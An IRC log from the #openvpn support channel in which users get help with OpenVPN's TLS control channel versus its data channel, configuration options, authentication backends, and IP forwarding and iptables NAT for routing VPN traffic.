22:10 < lokken9> that's how Deep packet inspection detects if somebody is using OpenVPN
22:11 < lokken9> I mean instead of using TLS header field, it could be hidden on the encrypted payload
22:11 <+pekster> "it" ? I still don't get your point
22:11 < lokken9> the one byte addition or something
22:12 <+pekster> The data you send over a tun device is _not_ TLS
22:12 <+pekster> You can't hide what isn't TLS inside TLS
22:14 < lokken9> [etherneth][iph][tcph][TLS{OpenVPN header}{payload}]
22:15 <+pekster> It's not using TLS to transmit the payload, period. An ephemeral data key is negotiated for use (default to 1 hour, with a 1 hour rollover to the next key) and data between the tun devices at each endpoint is encrypted using the requested symmetric cipher using that key
22:15 < lokken9> i see.
22:16 <+pekster> If you want to "hide" openvpn traffic, either use --static which looses you perfect forward secrect but is bytewise indistinguishable from random data, or use obfsproxy
22:16 < lokken9> I thought however, it's using TLS to transmit the payload, because TLS also supports transmitting an ephemeral key
22:16 <+pekster> OpenVPN has never (and won't) make it self "invisible" to DPI
22:16 < lokken9> like DHE-RSA-AES128-CBC
22:17 <+pekster> TLS is limited to specific cipher-suites; openvpn supports a much wider variety of ciphers with your choice of supported TLS cipher-suite for the control channel
22:17 < lokken9> hmm... ok
22:18 < lokken9> as long as it's secure as TLS, it should not be matter
22:18 < lokken9> would like to see some papers of security analysis of openvpn, but i could not find any
22:19 < xeqution> I have managed to get my OpenVPN server running boss! I just had a question in regards to easily managing OpenVPN connections, we use WHMCS and primarily we need to have each staff member have their own OpenVPN connections, ideally we would like to be able to add new OpenVPN users and manage existing users within a single interface or something similar (maybe a management portal).
22:19 <+pekster> Most of the security critical crypto operations are all part of openssl
22:20 < lokken9> yes. I would like to see security analysis of openVPN key negotiation protocol...
22:20 <+pekster> xeqution: OpenVPN makes no accomidation what-so-ever of "user managerment." You're expected to design your own backend for either cert-management (easy-rsa is designed for use with openvpn, but you're free to use another PKI solution if you'd like) or with user/passwords if you use a plugin or --auth-user-pass-verify
22:21 <+pekster> You could use LDAP, PAM, plaintext authentication files, and you're of course free to use/write/purchase any frontend you see fit to manage this backend
22:21 < xeqution> I see, are you aware of of any front end systems that may be available - alternatively we could go down the route of programming our own.
22:22 <+pekster> Frontned for _what_ ?
22:23 < lokken9> I am a little bit confused of the usage of OpenVPN's TLS... So, when does OpenVPN use TLS, if not transmitting the data?
22:24 <+pekster> For all it matters set up LDAP and use jxplorer to visually add user accounts and authenticate against your LDAP backend
22:24 <+pekster> lokken9: The control chanel is secured by TLS, the data channel is secured by a the temporary symmetric key
22:24 <+pekster> Both are multiplexed over a single socket
22:25 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 260 seconds]
22:25 < lokken9> I see.
22:25 < lokken9> and key generation is under control channel?
22:26 < rob0> huh? You can't connect without a preexisting key which had a CSR signed by the CA.
22:26 <+pekster> Right. The key generation is done using random data from both client and server, but all the negotiation itself happens over the already-established TLS channel
22:26 < rob0> oh, the session key, sorry
22:27 < lokken9> and the reason for not using TLS for encrypting data channel is for OpenVPN to support more ciphers than TLS could do?
22:27 <+pekster> That, and TLS is ugly-slow
22:27 < lokken9> i agree with you
22:28 < lokken9> i see.
22:28 <+pekster> OpenVPN's bottleneck (up to around 1-2 Gbps speeds anyway) is CPU power for the crypto ops, followed a bit by context switches near the higher end of that
22:29 < lokken9> AVX can speed up a lot
22:29 <+pekster> TLS simply makes everything slow. If you have AES-NI hardware instructions, openvpn can be considerably faster
22:29 < lokken9> TLS also uses symmetric session key for data transmitting...
22:29 < alanjf> Could someone kindly explain what exactly the (server) conf option "tls-server" does? I see it in some server conf examples but omitted in others.
22:30 <+pekster> alanjf: Defines that side as taking on the server role in a TLS handshake; even though openvpn is essentially a "peer to peer" VPN, TLS has strict roles of client (initiating peer) and server (receiving peer)
22:30 < alanjf> "tls-auth ta.key 0" seems to be enough to enable tls (HMAC) on the connection, so what purpose does the "tls-server" option actually have?
22:30 < alanjf> ah
22:31 < alanjf> pekster: Why then do I see some server confs that have "tls-auth ta.key 0" but not "tls-server" ?
22:31 <+pekster> No, tls-auth is a separate HMAC that is not related to TLS beyond a "secondary" hash that allows the server to drop packets before wasting precious resources setting up a TLS handshake with a DoS attacker
22:31 <+pekster> It is not valid to use OpenVPN in a TLS setup without either tls-server or tls-client
22:31 < alanjf> oh
22:32 <+pekster> Read the expansion of --server, --server-bridge, and --client
22:32 <+pekster> (fwiw, helper directives are a crutch ;)
22:32 < alanjf> Thanks
22:33 < alanjf> (Maybe they should have named the option something like "hmac-key ta.key 0" instead of "tls-auth ..." )
22:34 <+pekster> I think the name came from the idea that having the right ta key lets you perform a TLS authentication in the first place
22:34 < alanjf> (I think that would make it a bit more readily clear what it's purpose is, a la self-documenting.)
22:34 -!- emid [~emid@192.241.162.156] has joined #openvpn
22:34 < alanjf> ah
22:34 < alanjf> Ok that makes sense then.
22:35 <+pekster> openvpn options are anything but self-documenting ;)
22:35 < alanjf> I stand corrected.
23:07 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.2]
23:21 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
23:22 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:33 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Ping timeout: 256 seconds]
23:36 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 246 seconds]
23:43 -!- emid [~emid@192.241.162.156] has joined #openvpn
23:49 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 246 seconds]
23:55 -!- emid [~emid@192.241.162.156] has joined #openvpn
--- Day changed Tue Oct 22 2013
00:06 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 264 seconds]
00:13 -!- emid [~emid@192.241.162.156] has joined #openvpn
00:36 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ufkkmnmxuvkzvlqq] has joined #openvpn
00:45 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 272 seconds]
01:00 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 268 seconds]
01:00 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
01:04 -!- emid [~emid@192.241.162.156] has joined #openvpn
01:14 -!- mattock_afk is now known as mattock
01:18 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-ufkkmnmxuvkzvlqq] has quit [Ping timeout: 264 seconds]
01:19 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jnqdubepfeemfqli] has joined #openvpn
01:29 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 268 seconds]
01:31 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:33 -!- emid [~emid@192.241.162.156] has joined #openvpn
01:34 -!- xrosnight [~quassel@58.251.103.96] has joined #openvpn
01:35 -!- xrosnight [~quassel@58.251.103.96] has quit [Changing host]
01:35 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
01:35 -!- xrosnight is now known as alexPC
02:03 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Ping timeout: 246 seconds]
02:03 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
02:05 -!- Carbon_Monoxide [~cmonxide@14.0.143.217] has joined #openvpn
02:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
02:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
02:07 -!- mode/#openvpn [+o plaisthos] by ChanServ
02:55 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 252 seconds]
02:56 -!- RichiH-linuxcon [~richih@freenode/staff/richih] has quit [Ping timeout: 620 seconds]
02:58 -!- emid [~emid@192.241.162.156] has joined #openvpn
03:14 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
03:15 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
03:32 -!- alexPC [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 246 seconds]
03:41 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
03:51 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Changing host]
03:51 -!- thefinn93 [~finn@unaffiliated/thefinn93] has joined #openvpn
03:51 -!- thefinn93 [~finn@unaffiliated/thefinn93] has quit [Changing host]
03:51 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
04:06 < tomboy_> So, I have a tunnel from my 1 Gb connection to a 1 Gb openvpn server, why is it so slow? I'm getting speed tests at ~14 Mb. What's an accurate way to get information here?
04:06 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
04:09 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
04:18 -!- Denial [Denial@90.216.209.93] has joined #openvpn
04:34 -!- aegis [~aegis@184.75.212.34] has joined #openvpn
04:34 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
04:38 < defswork> tomboy_, what speed to you get with no encryption ?
04:38 < Mike--> tomboy_: use iperf
04:38 < Mike--> and what defswork said
04:43 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit []
04:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:12 < tomboy_> defswork: Mike--: I don't have a server up to run an iperf test right now. Perhaps I'll go shopping for a VPS. Using speedtest.net though shows 695 down 900 up, Mbps. I know this isn't much of a metric, but the significance is probably great enough, 10 Mbps versus ~700.
05:17 < Mike--> tomboy_: it depends on your encryption
05:17 < Mike--> strong encryption will cripple throughput
05:17 < Mike--> whereas weaker encryption will be more likely to be broken
05:18 < Mike--> it's just what you expect
05:18 < Mike--> to get from it
05:18 < tomboy_> Um, my connection was faster on the 5 Mbps. Is this called the uplink?
05:19 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-jnqdubepfeemfqli] has quit [Ping timeout: 245 seconds]
05:41 -!- karstenk1977_ [~karstenk1@ip-178-200-24-81.unitymediagroup.de] has joined #openvpn
05:41 < karstenk1977_> hello
05:42 < karstenk1977_> what i have missed to configure, when my VPN connected successful, but I cannot conect to server services?
05:43 < karstenk1977_> using OpenVPN between Windows7 client and Ubuntu 12LTS Server
05:44 -!- mattock is now known as mattock_afk
05:52 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Write error: Broken pipe]
05:54 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
06:01 -!- karstenk1977_ [~karstenk1@ip-178-200-24-81.unitymediagroup.de] has quit [Ping timeout: 252 seconds]
06:02 -!- karstenk1977_ [~karstenk1@ip-178-200-24-81.unitymediagroup.de] has joined #openvpn
06:04 -!- aegis [~aegis@184.75.212.34] has quit [Ping timeout: 252 seconds]
06:09 -!- xpl0iter [~obscurant@122.172.192.32] has joined #openvpn
06:16 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Ping timeout: 245 seconds]
06:20 -!- karstenk1977__ [~karstenk1@rs207111.rs.hosteurope.de] has joined #openvpn
06:22 < defswork> karstenk1977_ services on the same server as vpn service ?
06:23 < defswork> or sevices on rear subnet ?
06:23 < defswork> if the latter - forwarding in kernel, routes pushed to clients
06:23 -!- karstenk1977_ [~karstenk1@ip-178-200-24-81.unitymediagroup.de] has quit [Ping timeout: 268 seconds]
06:23 < defswork> return routes to vpn client subnets on network
06:23 -!- Carbon_Monoxide [~cmonxide@14.0.143.217] has quit [Quit: Leaving]
06:35 -!- sobersabre [~Sober@bzq-79-177-161-175.red.bezeqint.net] has joined #openvpn
06:36 < sobersabre> hi.
06:36 < sobersabre> is there a way to unlock a user that has been locked out ?
06:36 -!- karstenk1977__ [~karstenk1@rs207111.rs.hosteurope.de] has left #openvpn []
06:39 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
06:54 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
07:10 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
07:13 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
07:16 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
07:17 -!- xeqution [~z6@unaffiliated/z6] has quit []
07:28 < defswork> sobersabre, locked out by who/what ?
07:29 < sobersabre> by openvpn_as server.
07:29 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
07:29 < sobersabre> the thing is it's a newly created user, I'm requiring a filter to be in specific "vpn" AD group,
07:29 < sobersabre> and (incidentally) it's AD.
07:30 < sobersabre> can it take some time from AD creation to the openvpn server actually "seeing" that new user ?
07:30 < sobersabre> defswork: you here?
07:31 < defswork> yeah but I don't do openvpn_as
07:31 < sobersabre> sorry I've read the topic only now. changing the chan.
07:31 < sobersabre> :)
07:31 < defswork> isnt there a support channel for that
07:31 < sobersabre> aye, there is
07:35 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:35 < rob0> !as
07:35 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
08:27 -!- onats [~onats@unaffiliated/onats] has joined #openvpn
08:31 -!- mattock_afk is now known as mattock
08:33 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
08:51 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:16 -!- danci1973 [~danci1973@router.agenda.si] has joined #openvpn
09:17 < danci1973> Hello... When I disconnect my Windows OpenVPN client, the server is not notifed of that and seems to keep trying to commuicate with the client, logging 'read UDPv4 [ECONNREFUSED]: Connection refused (code=111)'. Is this expected behaviour?
09:25 -!- smue [smue@nostromo.smue.info] has quit [Ping timeout: 260 seconds]
09:35 < EugeneKay> Yes.
09:35 < EugeneKay> UDP is a stateless protocol, so the server doesn't know the client has gone away.
09:36 < EugeneKay> See --explicit-exit-notify in the man page
09:37 -!- smue [smue@nostromo.smue.info] has joined #openvpn
09:46 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-pjlrgsrairwgmwgk] has joined #openvpn
09:50 -!- hadifarn_ [~hadifarno@192.237.185.77] has joined #openvpn
09:52 -!- hadifarn_ [~hadifarno@192.237.185.77] has quit [Remote host closed the connection]
09:58 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:58 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has left #openvpn ["Leaving"]
10:03 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Read error: Operation timed out]
10:09 -!- xpl0iter [~obscurant@122.172.192.32] has quit [Ping timeout: 268 seconds]
10:14 -!- honestly_ [~luke@unaffiliated/luketheduke] has joined #openvpn
10:18 -!- honestly [~luke@unaffiliated/luketheduke] has quit [Ping timeout: 264 seconds]
10:27 -!- AginLap [~AginLap@109.201.154.186] has joined #openvpn
10:27 -!- evilbit1 [~evilbit@2607:f470:12:3:3e97:eff:fe38:44cc] has joined #openvpn
10:28 < evilbit1> Hi All, looking at setting up a openvpn server. We've got a webapp that provides authentication for users. Is it possible to have OpenVPN utilize something like Weblogin or CAS?
10:31 <+pekster> evilbit1: You can use either (or both) of X509 certs and/or user/pass auth. The 2nd is managed on the server with --auth-user-pass-verify
10:33 <+pekster> There's also support for PAM via a plugin, if you'd prefer to use that
10:34 -!- honestly_ is now known as honestly
10:39 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:39 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
10:41 -!- xpl0iter [~obscurant@122.167.228.80] has joined #openvpn
10:41 -!- raidz_away is now known as raidz
10:44 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
10:48 -!- xpl0iter [~obscurant@122.167.228.80] has quit [Ping timeout: 265 seconds]
10:50 -!- DavidWhite [~David@209.156.41.106] has joined #openvpn
10:53 -!- xpl0iter [~obscurant@122.167.121.187] has joined #openvpn
10:56 -!- DavidWhite [~David@209.156.41.106] has left #openvpn []
11:04 -!- DavidWhite [~David@209.156.41.106] has joined #openvpn
11:08 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-pjlrgsrairwgmwgk] has quit [Quit: Leaving]
11:10 < DavidWhite> Hello folks. I was here a few weeks ago trying to get my OpenVPN connection up and running. I continue to beat my head against a wall. The goal is to have a fully functional VPN, so that 100% of my client's (Windows 7) traffic goes through the VPN. The use case is for when I need to use public WiFi. Here's the Server config: http://pastebin.com/EyKNd3kx. Using this handy OpenVPN troubleshooting flowchart (http://ircpimps.org/redirect.png), I haven't been
11:10 < DavidWhite> Symtoms: I can connect to the VPN perfectly fine. I CAN ping the server's OpenVPN IP address, as well as the server's public IP address.
11:11 < EugeneKay> You got cut off at "I haven't been"
11:11 < DavidWhite> I CAN resolve outside hosts (google.com, etc...), but I cannot ping anything outside the server
11:13 < EugeneKay> Sounds like you have firewall and/or ip forwarding turned off on the server
11:14 -!- xpl0iter2 [~obscurant@122.167.121.187] has joined #openvpn
11:14 -!- xpl0iter2 [~obscurant@122.167.121.187] has quit [Client Quit]
11:16 -!- DavidWhite [~David@209.156.41.106] has quit [Ping timeout: 272 seconds]
11:16 -!- xpl0iter [~obscurant@122.167.121.187] has quit [Ping timeout: 260 seconds]
11:19 -!- DavidWhite [~David@102.sub-70-210-15.myvzw.com] has joined #openvpn
11:19 < DavidWhite> of course my internet would go down right after I asked the question
11:21 < DavidWhite> following up on what I wrote a few minutes ago, I said I haven't been able to get past the "NAT" step on the flowchart. I've issued the following command to route the VPN traffic through eth0 on the server, so I believe I can say "yes" to that question: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
11:21 < DavidWhite> that said, I've also tried turning off the firewall, and I've reviewed firewall settings, so haven't been able to track the problem down to a firewall issue either
11:22 < EugeneKay> !forwarding
11:22 < EugeneKay> !forward
11:22 < EugeneKay> C'mon you fucking bot.
11:22 < EugeneKay> !ipforward
11:22 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
11:22 < EugeneKay> !linipforward
11:22 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
11:23 < EugeneKay> The iptables NAT just marks the packets. There's also a kernel option that must be enabled - the default behaviour is to not allow packets to transit interfaces arbitrarily.
11:23 < DavidWhite> ip forwarding is also enabled
11:23 < EugeneKay> You're sure? ;-)
11:23 < EugeneKay> cat /proc/bla as above to check
11:24 < DavidWhite> cat /etc/sysctl.conf includes this line: net.ipv4.ip_forward = 1
11:24 < EugeneKay> Also look at your firewall rules - what's your filter table look like?
11:24 < EugeneKay> sysctl.conf is only loaded at boot, it is NOT your active kernel.
11:24 < EugeneKay> That's /proc/.
11:24 < DavidWhite> ah
11:24 < DavidWhite> I don't think I've rebooted in a while, although I do need to for a kernel upgrade soon. I'll check /proc/
11:29 -!- DavidWhite [~David@102.sub-70-210-15.myvzw.com] has quit [Read error: Connection reset by peer]
11:30 -!- publik [~inigm@192.241.174.169] has joined #openvpn
11:31 -!- DavidWhite [~David@102.sub-70-210-15.myvzw.com] has joined #openvpn
11:32 < DavidWhite> I think that had/has something to do with the problem. ip_forwarding wasn't enabled on /proc/. At any rate, I believe I still have an issue, but I'm not at my office at the moment and will head back there before doing additional testing / troubleshooting on this.
11:32 < DavidWhite> Thanks
11:32 -!- DavidWhite [~David@102.sub-70-210-15.myvzw.com] has quit [Client Quit]
11:46 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has quit [Remote host closed the connection]
11:49 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:59 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 272 seconds]
12:05 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
12:14 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:18 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 240 seconds]
12:26 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
12:32 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
12:33 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:39 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
12:41 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
12:44 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:45 -!- evilbit1 [~evilbit@2607:f470:12:3:3e97:eff:fe38:44cc] has quit [Quit: Leaving.]
12:48 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 260 seconds]
12:53 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
12:55 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
12:59 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
13:00 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
13:12 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Read error: Operation timed out]
13:16 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
13:20 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
13:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
13:22 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
13:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:30 -!- AginLap [~AginLap@109.201.154.186] has quit [Quit: Leaving]
13:30 -!- onats [~onats@unaffiliated/onats] has quit [Quit: onats]
13:44 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Quit: ZNC - http://znc.in]
13:48 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
13:49 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
13:51 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
13:52 -!- GreenAsh [~GreenAsh@46.146.228.76] has joined #openvpn
13:55 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
13:56 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
13:57 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
14:01 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
14:05 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
14:06 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
14:12 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
14:15 -!- master_of_master [~master_of@p4FF24C83.dip0.t-ipconnect.de] has joined #openvpn
14:15 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
14:16 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
14:18 -!- master_o1_master [~master_of@p4FF244F2.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
14:19 -!- mattock is now known as mattock_afk
14:30 -!- GreenAsh [~GreenAsh@46.146.228.76] has quit [Quit: This computer has gone to sleep]
14:38 -!- GreenAsh [~GreenAsh@46.146.228.76] has joined #openvpn
14:40 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
14:40 -!- mattock_afk is now known as mattock
14:49 -!- publik [~inigm@192.241.174.169] has quit [Ping timeout: 240 seconds]
14:49 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 272 seconds]
14:51 -!- emid [~emid@192.241.162.156] has joined #openvpn
14:51 -!- publik [~inigm@192.241.174.169] has joined #openvpn
15:01 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Ping timeout: 256 seconds]
15:15 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:16 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
15:21 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
15:23 -!- mattock is now known as mattock_afk
15:25 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:31 -!- AginLap [~AginLap@109.201.154.186] has joined #openvpn
15:35 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Ping timeout: 265 seconds]
15:37 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
15:42 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 272 seconds]
15:47 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
16:00 < LeLion> Hello everyone. I could really use some help. I followed the excellent tutorial written by krzee with regards to routing lans and I finally got one subnet talking to the other. However, it happens only in one way. Machines on the client side ping anything on the server side but can't access the Internet once the tunnel is established while machines on the server side cannot ping machines on
16:00 < LeLion> the client side. Using ssh from the server I can ping the VPN IP of the client but not its LAN IP. I know it's a firewall problem. IP Forwarding is enabled as cat /proc/sys/net/ipv4/ip_forward gives me 1.
16:05 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
16:05 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Max SendQ exceeded]
16:10 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
16:12 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 240 seconds]
16:13 -!- atmosx [~osx@217.70.broadband4.iol.cz] has joined #openvpn
16:14 < LeLion> my firewall configuration is here: https://gist.github.com/anonymous/7108293
16:14 <@vpnHelper> Title: OpenVPN Firewall configuration (NOT WORKING) (at gist.github.com)
16:16 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
16:19 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
16:24 -!- DrFoo_ is now known as Shinobi
16:26 -!- GreenAsh [~GreenAsh@46.146.228.76] has quit [Quit: Leaving]
16:29 -!- AginLap [~AginLap@109.201.154.186] has quit [Quit: Leaving]
16:32 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 240 seconds]
16:33 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 260 seconds]
16:34 -!- publik [~inigm@192.241.174.169] has quit [Quit: Leaving.]
16:35 -!- atmosx [~osx@217.70.broadband4.iol.cz] has quit [Quit: Lost in trance]
16:41 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
16:41 -!- Denial [Denial@90.216.209.93] has quit []
16:46 <@krzee> "I know it's a firewall problem."
16:46 <@krzee> good job dude
16:46 <@krzee> thats 99% of that battle~
16:46 <@krzee> LeLion, to recap
16:47 < LeLion> Well, that last 1% has been kicking my ass...lol
16:47 <@krzee> from the server you can ping the client by his VPN ip and not his LAN ip?
16:47 <@krzee> please test this now, do not answer from memory
16:47 < LeLion> yes and IP is forwarded on the client and the server
16:48 <@krzee> did you just test that after i asked?
16:48 < LeLion> no, let me do it now
16:48 <@krzee> thank you
16:49 < LeLion> still works the same
16:50 <@krzee> show me the client log with verb 4
16:50 <@krzee> oh no wait
16:51 <@krzee> show me the server log at verb 4, and it must contain the client connecting from start to when it is fully connected and can be pinged by vpn ip
16:51 -!- sauce [sauce@unaffiliated/sauce] has quit [Quit: sauce]
16:51 <@krzee> i do not need the client log
16:52 < LeLion> hmmm...how do I get the log at verb 4?
16:52 < rob0> !verb
16:52 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage. or (#3) Anything more than 5 is for developer debugging only
16:53 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
16:56 < LeLion> do I set the verbosity in the server config file?
16:57 < LeLion> got it
16:58 <@krzee> yes
16:58 < honestly> sooo, I'm getting myself confused here
16:59 <@krzee> honestly,
16:59 <@krzee> !goal
